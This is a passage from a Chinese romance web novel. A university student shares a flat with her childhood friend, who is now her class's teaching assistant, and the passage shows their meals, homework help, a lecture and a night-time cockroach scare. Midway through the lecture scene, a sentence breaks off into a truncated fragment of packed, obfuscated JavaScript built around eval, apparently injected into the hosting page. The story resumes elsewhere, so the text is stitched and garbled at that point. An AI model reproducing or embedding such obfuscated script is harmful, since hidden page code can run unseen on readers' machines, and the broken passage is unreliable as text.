林朝晞鼻子动了动,立刻把方才那点微妙的尴尬抛到九霄云外,雀跃着凑到餐厅。 裴弈正从厨房出来 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林朝晞两手撑在桌上,身子往前探,注视着他从锅里舀汤的动作,叮嘱道:“我只喝汤不要莲藕。” 裴弈给她舀了许多筒骨,手上动作一停,抬眸看她:“不要莲藕?” “嗯。” 裴弈如她所愿,装了满满一碗,最后,舀起一块拇指大的莲藕,放入她碗中。 “哎呀。”林朝晞的眉头被那小颗莲藕带动,皱了一瞬。 碗稳稳放在她面前。 “都说不要莲藕了……”她口齿不清地嘀咕一声,话说得极快,生怕被裴弈听见似的。 裴弈替她装好汤,向陈震伸手。陈震看懂了他的意思,立马笑着站起身:“我自己来我自己来。” 林朝晞率先吃了那一小颗莲藕,然后才喝起汤来。也许是煲的时间够长的原因,莲藕没有想象中的硬,反倒十分软烂。 “汤怎么样?好久没下厨了。”林泽笑着问。 林朝晞端起碗喝了一大口,眼睛亮起来:“好好喝!有家的味道!” 裴弈斯文尝了一口,淡淡点头:“不错。” 陈震嘴里塞着菜,含糊附和:“绝了!” 饭桌上的碗碟渐渐空了,闲聊声也稀疏下来。 林朝晞用纸巾擦了擦嘴,真心实意地总结:“非常好吃的一顿饭。” 她没有马上离开,听着林泽和陈震有一搭没一搭地聊着游戏和找工作。裴弈则安静地坐在一旁,目光偶尔掠过她。 她的思绪又飘回了那个困扰她一天的命题上。 “春……”她无意识地,把脑海里盘旋的字轻轻念出了声。 桌上其余三人的目光同时投向了她。 林朝晞这才反应过来,有点不好意思地摸了摸鼻子:“啊,我在想一个漫画比赛的题目,就叫《春》。所以一整天都在琢磨……对了,说到春,你们会想到什么?” 陈震打了个哈欠:“春?就画花花草草呗。” 林泽:“万物复苏?” 她的目光下意识地转向裴弈:“你说呢?” 裴弈身体向后,微微靠在椅背上,指尖在桌上敲了敲,语气是一贯的平淡:“想到被你养死的多肉?” 林朝晞愣了一瞬,随即脸垮下来:“喂!” 陈震“噗嗤”笑出声来。林泽也笑着摇了摇头。 她脸有点发热,抗议道:“那都多少年前的事了!” “怪我,记性比较好。”他看向她的眼神里,有一丝隐隐的得意。 她对于裴弈当陌生人的面揭自己的短,感到十分不满,瞪了他一眼,小声嘀咕:“你一点都不认真回答嘛……” 陈震的目光在裴弈和林朝晞之间转了个来回,语气带着点好奇:“那个……我有点好奇,你们俩……是什么关系啊?” 他顿了顿,补充道,“看着不像普通朋友,也不像刚认识。” 8. 长得还行 “呃,我们是……”林朝晞想起上回,裴弈计较她对林泽说只是朋友的事,斟酌道,“是…从小一起长大的,嗯。” “哦~发小啊,明白。”陈震点点头。 林朝晞回答完问题,偷瞄了裴弈的表情,见他面无异色,才安下心来。 “我来洗碗吧,刚才什么都没做。”陈震站起来,开始收拾碗筷。 “我来帮你,我也什么都没做,”林朝晞跟着站起身,对另外两人笑道,“你们去忙吧,厨房我和陈震会负责清理干净。” 林泽点点头,没有异议。 林朝晞绕到裴弈面前,正要端起砂锅,一双骨骼分明的手按了上来。 裴弈对她说:“我来洗。” “不用啦!我和陈震洗就可以了。”她捏着砂锅的两端,往上使了使劲,想挣开他的力道。 他松了力,她拿起锅走进厨房。 厨房不大,暖黄的灯光下,两个并排的水槽泛着湿润的光。 陈震和林朝晞各占一边,一个洗碗,一个洗锅。水流声哗哗,混着碗碟轻微的碰撞声。 陈震拿起百洁布挤了一泵洗洁精:“话说,你现在大几啊?” “我大三了。” “哦,那我比你大,”陈震随意地往她的洗手池看了看,“你也是临大的?学的什么?” “是啊,数字媒体技术(动画方向)。学长呢?” “啊,我也是!”陈震停下了洗碗的动作,惊喜地说,“那你是,二次元?” 林朝晞不情不愿地“嗯”了一声,把音节拖得老长,好像不愿意承认似的。 “那CPxx你去了吗?” “我能说我没抢到票吗?” … 两人就共同话题聊了几个来回,旁若无人。 “那学长当年也是动漫社的吗?”林朝晞已将锅具洗净,正低头清理水槽。 话音未落,一条深灰色的抹布毫无征兆地横插进来,精准地落在她和陈震之间的台面上。伴随而来的,还有一阵清冽的淡香。 裴弈的身影悄无声息地侵入这片狭小空间,温度仿佛都低了几度:“打断一下。” 林朝晞被他伸过来的手臂硬生生隔开,离陈震远了些:“干嘛?” 他垂着眼皮看她,目光有些沉,薄唇微动,简短地吐出两个字:“抹布。洗一下。” 顿了半秒,才没什么诚意地补上:“谢谢。” 林朝晞愣愣接过那块明显需要清洗的抹布:“……哦。” 她重新拧开水龙头,冰凉的清水冲过指尖。那片空气因他的短暂驻留而微微凝滞,又随着他的转身离去,缓缓恢复流动。 “刚才聊到哪来着?”陈震笑着,很自然地又往她这边靠了靠。 “动漫社。”林朝晞搓着抹布。 “之前我还是社长呢。” “真的假的?” “真的啊……” “林朝晞。”裴弈的声音又一次从身后幽幽飘来。惊得她肩头微微一颤。 她回过头。 裴弈不知是何时折返,正懒懒倚靠在门框边,灯光从他身后勾勒出修长而松弛的轮廓。 他双手抱臂,目光落在她湿漉漉的手上,语气是一贯的平淡,带着一丝催促: “洗快点。” “我还等着用。” “我不在洗呢吗?急什么呀。”林朝晞小声嘟囔,没了和陈震闲聊的心思,加快了手上的动作。 她洗完抹布,拧干递还给裴弈,想着要不要和陈震接着聊,就见裴弈别有深意地上下扫视过她,慢悠悠开口道: “愣着干嘛,不是还有作业?赶快去。” “哦,对喔。”林朝晞应了声,转身往外走。 裴弈加入了他们班级群。其他老师会在群里发布作业,他能看到。 不过,他也太努力了吧——对于老妈让他帮忙照看自己这件事。 林朝晞回到房间,在书桌前坐下,时钟指向20:34,按理说还早,但她已经开始困了。 长期熬夜赶稿,白天还要学习,她明显精力不足。 她盘腿坐在椅子上,拿起数位板,决定先按计划画完今天的页数,再写作业。 客厅里的走动声逐渐减弱,公共浴室不时响起水声,断断续续的,等水声彻底停止,时间已经来到凌晨十二点半。 林朝晞放下数位板,深深打了个哈欠,站起来松了松肩骨,长时间保持一个姿势,她的颈部肌肉又酸又硬。 她舒展了一会儿四肢,重新坐下来,开始写作业。 老师要求用英文撰写动画角色的人物设定说明,包括角色的背景故事、性格特点、造型设计等。 前几天她已经用中文写完了,现在就剩下翻译。 看起来简单,但是她英语学得一般,一个单词一个单词地上网搜索,不仅费时间,还要考虑语法。 约莫过了二十分钟,凌晨一点整,她总共写了两句话。 “啊——”她把右脸贴在桌子上,“好想睡觉。” 要是她再小个十岁就好了,年纪再小点的时候,她根本不在意面子这类东西,能够拉下脸,直接求着裴弈帮忙。 她温热的脸颊贴着冰凉的桌面,眼皮越发沉重。 突然觉得,做大人真是麻烦。还是当小学生没脸没皮的最快乐。 她想着想着,不由得合上了眼皮。 就这么睡过去算了—— “你怎么还没睡?”裴弈清晰的声音隔着门传进来。 林朝晞倏地睁开眼,条件反射地撑着桌子坐直身体,警惕地看着门口。 从前她熬夜在被窝里看漫画,好几次都是被裴弈发现,向妈妈告的状。 妈妈知道了就会没收她的手机。说什么关灯看手机,会得青光眼。严重了会瞎。 她被抓了几次,对这种夜半的敲门声,已经养成了下意识的警醒。 “我,起来上厕所!”她胡编了个借口,静听着门外的动静,想着他会不会进来。 “……早点睡吧。”他轻轻落下一句话,随后脚步声响起、远去。 咔哒一声。房门关上的声音。 他回房间了。 林朝晞心里莫名划过一丝失落感,察觉到这转瞬即逝的情绪,她又有些困惑起来。 裴弈没进来不是好事吗?她为什么要失落呢? 难道她更希望他闯进来,冷嘲几句,威胁她不早睡就要告诉妈不成? 她盯着那只修改了几句的人设稿,神思出游。 “哎呀!想不明白!”她放弃地下了椅子,穿上鞋,拿着稿子拧开房门。 来到裴弈门前,犹豫了几秒钟,正要抬手敲门,门忽然从里面打开了。 裴弈还穿着那件黑色针织衫,压根没换上睡衣,显然还没睡,眼眸清明得毫无困意。 他瞥了眼她手里攥得发皱的作业本,眉梢轻挑了下,不咸不淡地:“干嘛?” 她没料到他会先一步开门,诧异一瞬,方才想好的说辞立马忘光了,不利索地说:“嗯,就是,有个事儿。” “嗯哼。”他把门敞开了些,等着她说下去,神情毫不惊讶,仿佛在意料之中。 “就是,能不能帮我……”她捏着稿子的指尖收紧,仰着脸看他,语气里有一丝微弱的恳求。 他把门完全地打开,像在迎她进来,人却堵在门口没有让开,眼底隐隐含着一丝嘲弄的笑意: “我事先问清楚,你该不会是,要我帮你写作业吧?” 裴弈对门就是林泽的房间,她怕被听见,反驳道:“才不是呢!我是问几个问题啦。” 见他没说话,她赶紧往前踏了几步,强行先进入他的房间,然后无比自然地轻合上门,“嘿嘿”地讨好一笑。 这略显强硬的架势,摆明了没给他拒绝的余地。 裴弈意外的没开口刁难她,反而走到书桌边,抽出一张折叠椅:“过来吧。” 林朝晞不客气地在他备好的椅子上坐下。 裴弈的书桌上有一台笔记本电脑,外接键盘和鼠标,一个装了热水的玻璃杯正在冒白雾,鼠标旁边是一本摊开的书,倒放在桌上。 桌上没有供她放作业本的空位。 她把他的书拿起来,也不管他是看到了哪一页,直接合上,竖着放到一边的角落。 裴弈将她这套熟练的操作看在眼里,悠悠开了口:“你把我书合上,我怎么知道看到哪一页?” “哎呀,你有空了自己翻嘛。”她仿佛把这书桌当成自 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他的发音很好听,是那种干净又略带矜持的调子,尾音带着轻微的卷舌,清晰又温润,在安静的房间里轻轻荡开,像磨砂质感的唱片在耳边转动。 林朝晞原本还想抱怨,一听这声音瞬间噤声,乖乖拿起笔跟着记,偶尔卡壳:“等等,坚韧的英文怎么拼来着?” “Tenacity。”他答得很快,见她还在犹豫,伸手越过她的肩膀,拿过她手里的笔,在纸边空白处利落地写下单词。 笔尖划过纸张的声音很轻,他的手腕擦过她的胳膊,带着微凉的温度,轻轻啧了一声:“字真丑。” “哎呀!”林朝晞立马夺回笔,瞪他一眼,“我之后要录入电脑的,手写版我随便写写而已!” 裴弈没再说什么,只是趁她埋头,唇角极轻地勾了一下。 她写得很专心,微微蹙着眉,嘴唇无意识地跟着默念。 暖黄的台灯光晕落在她脸颊边,照亮皮肤上细软的绒毛,长而卷的睫毛垂下来,随着书写的动作,像两把小扇子,轻轻地上下扇动。 她的呼吸很轻,气息拂在纸页上,带起极细微的波动。 他看着她,忽然无声地往前倾了倾身。 距离悄无声息地拉近,近得能闻见她发间淡淡的洗发水香气,混合着她身上那种总是暖烘烘的味道。 “这个语法是不是不太对?”林朝晞突然抬起头,直直撞进他眼底。 两人距离很近,她却丝毫不觉得有问题。 裴弈屏息一瞬,面无波澜地抬手点在她的作业本上:“这里用过去分词。” “哦。”她又低下头去,笔尖沙沙作响。 写到后面,她速度越来越慢,脑袋也一点一点的,终于忍不住趴到桌沿,闷声抱怨:“还有好多啊……先歇几分钟吧……” 裴弈没接话,转而拿过刚才那本被丢到角落的书。 房间里静下来,只剩下她浅浅的呼吸声和他翻书的声音。 林朝晞侧着脸,目光懒懒地落在他的侧影上。台灯从他左边照过来,勾勒出高挺的鼻梁和微抿的唇线。 她忽然发觉,自己好像很久没有这么仔细看过他了。 “看什么。”他没转头,却忽然开口。 “没,”林朝晞轻声说,“就是觉得……好久没仔细看你了。你都出国好几年了嘛。” 其实也不是没看过,只是她记忆中裴弈的样子总是模模糊糊的。 刚认识他的时候,他严肃得像个小大人。后来跟他熟了,看他更是带着一层“邻居家讨厌鬼”的滤镜。 进入青春期,本该是对异性感到好奇的年龄段,但她早已把他当成家人、亲密玩伴,从来没以异性的眼光看待过他。 此刻在暖调的光线下静静看去,才发现他五官生得很精致,眼尾微微上扬,不笑的时候显得冷淡疏离,有种拒人于千里的漠然。 原来他长这样。 她一直隐约知道他长得还行,只是现在才明确地发现,他好像不只是“还行”,而是很好看的那种。 裴弈转过头,正对上她怔怔的眼神。 他顿了顿,伸手把她面前的作业本合上:“去睡吧。” 9. 抱歉,老师叫我 “诶?还没写完——” “剩下的我帮你弄,”他的目光重新回落到书上,平淡地翻过一页,像是随口一说,“照你这个速度,我今晚也别想睡了。” 林朝晞眼睛一下子亮了:“真的?” “嗯,”他放下书,按了下键盘,电脑屏幕亮起,“回去睡觉。” “谢谢你!”她欢快地站起来,走到门口又回头,声音软软地飘过来:“你真是我最好的朋友!” 裴弈的眉头几不可察地抽了一下。 ? 她这句话实在多余。 他听着门外脚步声远去,才拿过她那本写得密密麻麻、又涂又改的作业。 拇指随意捻起前面几页,每一页都是她认真书写的笔记,角落空白处偶尔浮现随手画的Q版人物。 他静静看了会儿,握住鼠标,点开了空白文档。 键盘声以一种极快的速度响起,平稳而持续。不多时,他就替她打好了电子版,顺便把剩下未翻译的部分也完成了。 他指尖轻叩本子内页两下,将它合上。 其实他一开始就可以帮她做完,只是......想和她多呆一会儿。 电脑屏幕的光映在他没什么表情的脸上,直到客厅传来陈震晚归的关门声,他才像被惊醒般,抬手按了按眉心。 房间重归寂静,唯有散热风扇发出极轻的嗡鸣。 他关掉文档,将她的作业本放进了自己书桌的抽屉里。 - 次日清晨,林朝晞是被闹钟叫醒的。 她起床的时间调得比平时早半小时,打算利用这时间,把裴弈帮她翻译好的作业输入到电脑,做成电子文档。 她在洗漱台一边刷牙一边打开微信,裴弈给她发了个文档,附言:【交这个。你的本子在我这,晚上来拿。】 她点开文档,看着那排版工整的英文稿,刷牙的手顿住了。 原来他说的“弄”,是连电子版都帮她做好? 她发过去一个哭哭感动的表情包,夸张地说:【谢谢!!你真是个大好人!】 多出来这半小时,足够她悠哉地到附近吃个早餐。 等她吃完早餐来到阶梯教室,离上课时间尚早,教室却已经坐满了一半。估摸着得有五六十号人,是他们班总人数的两倍。 不用想也知道,是其他班甚至其他系的学生,慕了裴弈的名来听课的。 他国外顶尖名校毕业,光这噱头就能吸引不少人,更别说那年轻靓丽的外表了——毕竟,临大的教授基本都上了点年纪,非秃即胖。 前排的座位已经被挑完了,林朝晞只好坐到中排。顺带给室友们占了几个座。 几个学生的议论声传入她耳朵: “上次来得晚,没抢着座位,这次我吸取教训,自带折叠小板凳,没想到用不上。” “你也太夸张了。” 林朝晞抬眸看过去,心里默想,就是,也太夸张了。 “不夸张啊!裴老师的课确实讲得很好,最重要的是声音好听,脸好看!他光站在那里,就能给我提供情绪价值!这不比我追星性价比高?” “有那么夸张么?” “就是,也太夸张了。”林朝晞懵懂地把心里话脱口而出,话音未落,前头两个学生转过头来,微讶地看着她。 “啊……”她有点尴尬地怔住,摸摸后脑勺,嘿嘿傻笑。 那女生没介意,反倒对她笑:“真的嘛!你们知道上周有数媒的学生,在学院群里抱怨,说自己班的课,本班学生都没座位坐呢。” “这么离谱?” 林朝晞:“我就是数媒的啊,我怎么不知道?” “哎呀你当然不知道了,你的座位都是我帮占的,”赵晓棠的声音从一旁传来,她在林朝晞占的空位坐下,顺带敲了一下她的头,“你啊,两耳不闻窗外事。” “有这回事么……”林朝晞摸了摸被敲的地方,开始翻班级群消息。 “哎,你们是这个班的学生啊?能不能加个微信?”那学生已经兴致勃勃地掏出手机二维码,“周五课表出来的时候发我一份,我请你们喝奶茶啊。” “行啊。”赵晓棠拿出手机扫码,随后从包里翻出吐司和牛奶,说: “不过,上周裴老师在群里说,以后他的课,会优先保证本班的学生坐前排,你们外系的,来抢前排也没用。” 女生:“啊?!真的吗?那等会他会不会叫我们走啊?那我们岂不白来这么早了。” “包叫的,”赵晓棠吃着面包,囫囵咽下一口,“不过你们这个位置应该没事,不算很前。” “那就好那就好……” 林朝晞在群里翻到了相关的消息,好几天前的半夜发的,她应该是睡了,没看见。 上课前五分钟,一道身影从教室前门进来,挺拔修长,瞬间吸引了大多学生的视线。 是裴弈拿着讲义进来了。 原本有些喧闹的教室顿时安静下来。 裴弈环视一周教室,目光经过林朝晞时,停顿了一拍,说:“请不是本班的同学把前三排空出来,本班的坐到前面来。” 其他学院的学生纷纷抱怨起来。 “这次不好意思了,以后我的课,前三排请大家留空。” 同学们陆续起身,交换座位。 林朝晞刚收拾好包,赵晓棠已经迅速抢占了第一排的位置,并兴奋地冲她招手:“朝晞!坐这里来!” “……那么前。”林朝晞望着那离讲台最近的中央位置,犹豫地瞄了眼裴弈。 他显然是被赵晓棠的大嗓门吸引了视线,正顺着她的目光,朝林朝晞这看过来。 两人四目交汇。 林朝晞莫名低下了头,躲开对视,抓起包往第一排走去。 “干嘛离老师那么近啊?”她坐下来,凑近了赵晓棠,压低声音问。 赵晓棠古怪地皱紧了眉:“……你上课,不一直喜欢坐前排吗?” 林朝晞微愣,说不出话。 她听课确实习惯坐一二排,离老师近更容易专注。 但裴弈的课,前排一直是很早就被其他人占了的,她之前一直坐在中间偏后的位置。算起来,这还是她第一次坐这么前。 是啊,怎么老师换成熟人,她就不想坐前面了呢? 林朝晞压下心中的困惑,乖乖拿出课本,一手托着腮,一手拿着笔,认真注视着讲台上的人讲课。 裴弈单手松撑在讲桌边缘,投影仪的光束掠过他冷白的侧脸,勾勒出清晰的下颌线。 讲话时语速平稳,薄唇开合间,声音透过领夹麦克风,清晰地漫进教室每个角落,干净利落,没有一丝多余的尾音。 他不时抬手翻动PPT,偶尔背过身去,捏着粉笔在黑板上板书,字迹瘦劲有力,行云流水。 离得近,她才发现,他看向任何一位学生时,目光都是同样的平直冷淡,眉峰微敛,没有什么情绪和波澜。 她出神地盯着他的侧脸,突然发觉,他这副认真工作的样子其实很少见。 至少,她感到很陌生。 他在长辈面前,一向是装得乖巧有礼貌、懂分寸,嘴角总挂着恰到好处的笑。 可在她面前,却总没个正形,要么挑眉逗她,要么故意拆她的台,说话时语气也带着点漫不经心的随意,从来没这么客气过。 她以前不觉得有什么不对劲,但此刻有了对比才后知后觉——他是不是太欺负她了?怎么对她说话就不懂得客气一点呢? “唔……”她从鼻腔里轻轻哼了一声,带着点没底气的抱怨。 想到他昨天当众揭她短,还吐槽她字丑的事,捏着笔在课本上点得飞快,笔尖在白纸上戳出一个个微微凹陷的小洞。 她正暗自腹诽,后排一个戴着黑框眼镜的男生举起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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中学的时候,学校也很多女生给裴弈递情书、送礼物,但他都没什么兴趣,总是淡淡地给人打发走,被迫收下的巧克力也大多进了她的胃。 裴弈居然会有喜欢的人。 那个人就在这群人之中吗?她实在好奇他会喜欢什么样的人,不禁一个、一个地扫过那群学生。 “我先走咯,朝晞。”赵晓棠说。 “哦。”她心不在焉地应着。 约莫过了一两分钟,身侧被一个阴影遮挡住光线。 林朝晞偏头看去。一个高大的男人正站在她桌旁,视线落在她本子的Q版人物上。 她觉得他有点眼熟,但又想不出在哪见过。 男人微笑着对她说:“林朝晞,那个短篇漫画比赛你有思路了吗?” 他怎么知道她名字? 林朝晞迟疑地点点头,又摇摇头:“还没呢。” “我也打算参加那个比赛,要不要加个微信,交流一下?” 她仰头望着他,不一会儿,脖子就酸了,重新低下头来,看见男人篮球鞋上一个飞人的标志,这才想起来,这人是系草。 她之前陪赵晓棠看过他的篮球比赛。 “行啊。”她快速看了他一眼,而后又瞧了瞧旁边赵晓棠空着的座位。 赵晓棠今天走得也太快了,走得不是时候啊。 裴弈站在讲台上,目光停驻在林朝晞的方向。 她身边多出来那个男的,正拿出手机,向她亮出二维码。 他应对周遭学生的温和微笑敛了一瞬,语速加快地说:“下节课我再回答你这个问题。” 林朝晞正要扫系草的微信二维码,一只骨感的手指叩在她桌面:“林朝晞。” 她停了手里的动作,裴弈不知何时来到她桌前,目光平静地落在她脸上,手里拿着她的作业本,晃了晃:“你的作业有点问题,过来一下。” 他说罢,一个眼神都没多给,径直往教室门口走去。 林朝晞匆忙把手机放进包里,对系草说:“抱歉,老师叫我。”随即有点着急地抓起包,跟上裴弈。 10. 我睡你的蟑螂窝 离开教室,外头走廊的学生少了许多,她小跑两步追上前面那个颀长的身影,侧头问:“裴弈,我作业哪里有问题啊?” 他没立刻回答,指尖漫不经心地捏着卷边的讲义,抬手晃了晃: “这里是学校,你应该叫我老师。” 林朝晞被他这突如其来的正经噎住,脚步顿了一拍。 她古怪地皱起五官,鼻子轻轻翕了一下,随即朝他挺拔的后背,嫌弃地翻了个小小的白眼。 就在白眼翻到一半的刹那,前面的人毫无预兆地停下脚步,转身。 她的小动作瞬间僵硬在半空。 裴弈就站在一步之外,垂着眼,微眯了眸子,目光带着点似笑非笑的审视:“你刚对老师翻白眼了吧?” 林朝晞心里陡然一跳,立刻扬起一个灿烂过度,甚至有点狗腿的笑容,语气谄媚地说: “这里哪有老师啊?只有我最亲爱的发小,裴弈大人~” 她特地把重音放在【亲爱的】上。 他唇角那抹克制的弧度加深了一瞬,随即又被他抿平,轻哼了声,将作业本不轻不重地拍在她胳膊上: “你作业本上画了些不相关的东西,我没收了。以后注意。” 说罢,不再看她瞬间愣住的表情,转身继续向前走去。 “什么不相关的东西啊……”林朝晞蹙着眉,手指飞快地翻阅着作业本,翻到最后一页时,发现装订边缘有被撕掉的痕迹。 是被他撕掉了一页纸吗? 她拿着本子左看右看,脑子里骤然闪过课堂上的画面:她听着裴弈讲课,一时无聊,就在本子角落画了个Q版小人—— 顶着裴弈的脸,皱着眉、嘴角往下撇,还在头顶歪歪扭扭写了“毒舌裴助教”几个小字。 “啊!他怎么随便撕我的作业啊!”她气鼓鼓地抱怨了一句,捏着本子往包里一塞。 抬头时,裴弈的身影已经走到走廊转角,很快就消失不见了。 - 晚上。 林朝晞洗完澡从浴室出来,一头浓密的长发半湿,耷拉在肩上,脸颊被热气熏得红扑扑的,泛着健康的光泽。 她坐在椅子前,把长发拢在一边,轻轻擦拭着吹干。暖风迅速蒸腾着热气,她手上边动作着,目光挪至电脑右下角。 00:52。 今天完成了新的一话,刚刚已经发布。日先生的打赏也在零点准时到达。 她一手拿出手机,点开了□□,两人的对话停留在前两周。 指尖触屏跳跃,手机页面瞬间切换到芳林画家助手app,作者后台收益显示【可提现金额:33000元】。 那几个明晃晃的0扎得她心里十分惶恐。 这么大的金主,她是不是应该偶尔陪聊一下? 林朝晞的指尖停顿在屏幕上,思忖一番,给对方发了个消息: 【谢谢您的支持。小女子十分惶恐,其实能追更就很高兴了!】 大佬好像很有钱,也不知道收到她的消息,会不会嫌她穷酸? 她一直举着吹风筒,手臂有些酸,便暂时关掉,专注地思索了几秒,还是没有撤回那条消息。 约莫半分钟,日先生回复了:【在追】 林朝晞收到回复,有点高兴地笑了,她捧着手机,斟酌着怎么表达才能让对方感受到自己的感激之情。 忽然,一只深黑色的不明物种飞到她脸上。 “哇!”她尖叫着往后仰,椅子的滚轮倏地滑出去,撞上后面的床尾,受力弹了回来。 不知是什么生物,腿脚相当利索,在她脸上迅速移动,带着微微的痒意。 “啊!!!”她吓得直接扔掉了手机,连忙用手去扑开脸上的生物。 “啪”的一声,一只深褐色的蟑螂被她拍到地上,两条细长的须须缓缓动着,露出来的几条腿上长着一排细绒绒的齿状须须。 “怎么了?”熟悉的裴弈的声音隔着门响起。 “呜呜呜——”林朝晞吓得赤脚下了椅子,躲着那只大蟑螂,往门口窜去。 她拧开门,苦着脸躲到裴弈身后,顾不上看他,满心满眼注视着那只蟑螂,生怕它再次飞上她的脸:“有蟑螂!” 裴弈似乎松了口气,走进房间,捡起她的手机:“还以为怎么了。” “呜它飞我脸上。”林朝晞呜咽着,担忧又嫌弃地摸着自己的脸,试图擦拭掉那痕迹。 房间的地上空无一物,那蟑螂已经不见了踪影。 “啊怎么不见了!”她小心翼翼地走近几步,四处扫视,“怎么办,它是不是爬上我床了?” 裴弈把她手机放在桌上,轻飘飘地说:“有可能哦。” 她害怕地望过来,见他嘴角噙着一抹淡笑,显然是故意逗她的,便抬手用力锤了他一下:“你讨厌!” 他不躲不闪,直直受着,嘱咐道:“早点睡吧你。” 说罢转身走向门口,半个身子已经走了出去。 “哎呀!”林朝晞急忙拽住他的衣袖,“你不许走!” 他回过头来。 “你,你要帮我抓蟑螂,”她攥紧了他的衣服,一对淡眉紧紧皱着,咬着唇,两腮微微鼓起,可怜兮兮地补了一句,“要不我不敢睡。” 裴弈挑了挑眉,没说话。 林朝晞直直盯着他,指尖收紧,下意识觉得他是不是要提什么要求,或者笑一下她。 结果,他只是淡淡道:“行吧。” 她手上卸了力道,眉间缓松,转而躲出门外,对他说:“那,我在外面等你,你进去抓。” “嗯。”他应了声,再次进入她房间。 林朝晞到公卫重新洗了手洗了脸,擦干水珠后,躲在门边,看着裴弈在里面找蟑螂,时刻警惕着会不会再飞来一只。 过了会儿,他从床边直起腰,走过来:“找不到。” “啊?”她捏着门框的指节泛白,担忧道,“怎么会?” “明天再处理吧。” “可是,它万一半夜爬上我的床怎么办?” “嗯……这是个好问题。”他摸着下巴,似在苦恼思索,“怎么办呢,要是钻进你耳朵里……” “你不许说了!”她制止道。 “要不然,”他正色道,“你先睡我房间吧。” 林朝晞露出困惑的表情,迟疑道:“……那你睡哪?” 他眉梢轻扬,漫不经心地走出房间,飘然落下一句带着笑音的话:“我睡你的蟑螂窝。” “裴弈!”她扬高音量,既恐惧又气愤地叫他名字。 他寥寥三个字,让她瞬间想到网友们说的:【当你看见一只蟑螂,背地里已经有无数只蟑螂潜伏了】。 林朝晞望望自己的房间,又看看裴弈刚打开的房门,只好不情不愿地挪步过去。 裴弈正在衣柜里翻找着什么,她伏在门边,试探地问:“真的跟我换哦?” 语毕,她又担忧地四处扫视他的房间,补了句:“你房间不会也有蟑螂吧?” 裴弈从柜门后露出半张脸,不以为意:“那你别睡。” “啊呀!”她急得走进去,径直在他床上坐下来,“不行!你答应我了的!” 生怕他反悔似的,手已经抓上了他的床单。 裴弈背对着她,听见她的话音,唇畔不禁扬了扬。 他从柜子抽出一个崭新枕套,敛了笑,转过身去,目光淡淡落在她脸上:“呐,干净的四件套在这里,你自己换。” 林朝晞这才看见被他放在床边的一套新床单和被套,有些愣。 原来他是在找这个。 裴弈把枕套放在那床单上,随即走到门口,手搭在门把上,上下扫了扫她:“睡吧。” 他带上门。 林朝晞捕捉到他尾音里一丝柔和的语气,方才那阵被他恶意欺负的情绪瞬间落了空。 她侧目望着那散发着柔顺剂香气的新四件套,心底软了几分。 裴弈虽然嘴上坏,但做事总是体贴。 咔哒一声,隔壁关了门。随即响起一阵淅淅沥沥的水声。 她在微信上给他发了条消息:【我衣柜里也有洗过的四件套,你自己找一下,换上吧】 然后在裴弈的床躺下,把手机举高,迟迟没有收到他的回复。指尖悬在屏幕上方好一会儿,她补了句:【如果你介意的话】 点下发送,她环视了一周他的房间,稀少的物品摆放得很整齐,衣柜里的衣物分门别类码放,床上用品更是平整干净。 住进来十多天,她见他换洗了至少两次床单被套。这四件套,不换也行吧。 她把四件套放回衣柜,关了灯上床,缩进被子里,鼻畔满是裴弈常用的柔顺剂味道,淡淡的薰衣草香。 林朝晞翻了个身,注视着窗边漏进来的一丁点光,思绪飘远。 她上一次睡裴弈的床,应该得追溯到十几年前了吧? 大约是一、二年级的时候,她叫了朋友到裴弈家过生日,送走他们以后,她和裴弈一起睡在了他床上,没回家。 那是她第一次在他家过夜。 后来父母找过来,也没有叫醒他们。 裴弈的父母工作很忙,常年将他托给林朝晞父母照顾。 他们两家就住楼上楼下,他每天会来她家里吃饭,两人一块儿做作业,看电视,然后他才会回自己家睡觉。 林朝晞回忆起温馨的往事,唇边漾开了一抹笑。手摸向一旁,柔软的被单却是冰凉的。< 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消息发送出去,屏幕顶端那行“正在输入中…”反复出现又消失,最终,归于沉寂。 日先生没有再回复。 她等了一会儿,轻轻叹了口气,把手机放到枕边。 薰衣草的淡香萦绕,窗外的夜色浓稠。 那句“他是男的,也没办法呢”像一颗小石子,在她的心湖激起一圈圈的涟漪,荡起的,是连她自己都未曾明了的惆怅。 就在她盯着天花板发呆时—— “叩、叩。” 两声不轻不重的敲门声,清晰地从房门传来。 “谁呀?”她起身下了床,打开门,走廊微弱的月光映着裴弈的脸庞,在他轮廓落下一层清辉。 夜色中,她看得不是很清楚,但总觉得他目光沉沉,眼底泛着模糊的情绪。 “怎么了?”她抓了抓头发,小声问。 “听说,有人因为不能和我一起睡,难过得都上网发说说了?” 林朝晞瞬间僵住,血液轰地一下冲上头顶,连带起一股热意漫上耳根。 他他他……他怎么知道?!她明明屏蔽他了! 难道是Q/Q空间出bug了?! 羞窘和慌乱让她大脑一片空白,她嘴硬道:“你、你胡说!谁难过了!我那是……感慨!感慨时光不行吗!” 他低笑了一声,那笑声极轻,挟着一丝促狭。 她被他笑得更紧张,顾不上逻辑,否认道:“再说了!谁说那条说说说的是你了!” “哦?你还有其他发小?”他的声音慢悠悠的,拖长了调子,“阿姨知道吗?” “呃……”林朝晞说不过他,极其窘迫地低下头,手指握紧成拳,脸上热意不减反升。 被撞破的尴尬在空气里无限蔓延。 裴弈虽没再调侃,但这般沉默的注视也是不小的压力,她被他盯得双颊泛红,终于忍受不住地把他往外推:“我要睡觉了!你出去!” 他纹丝不动,语气轻快:“嗯哼,没反驳就是默认。” “哎呀!你烦死了!”她大喊着,手上同时用劲。 他忽然抬手摸上她的头,缓声说:“别老想过去的事了,傻瓜。” 林朝晞一愣,手里忘了推力。 “我现在不也在这么?”他的声音自头顶落下,稍稍低沉了些,磨砂似的质感竟有些朦胧的温柔。 她指尖蜷缩,在他胸前的衣服轻轻抓出了褶皱。 裴弈,在安慰她。 一股难以言喻的情绪如春日的嫩芽冒出心头。 是被关心和理解的感动?是关系缓和的宽慰?还是隐隐感到能回到过去的喜悦? 他现在会是什么表情呢? 她正要抬起头,裴弈轻“啧”了声,收回手,嫌弃地在自己衣服上擦了擦:“你几天没洗头了,真油。” 等她对上他的眼睛,他眼底已经是淡淡的嫌弃。 林朝晞咬紧了下唇,不信邪地歪了歪头,死死凝视着他。仿佛想要确认刚才他的温柔不是她的错觉。 裴弈回了身,只给她留下一个背影,轻声道:“早点睡觉。别东想西想的。” 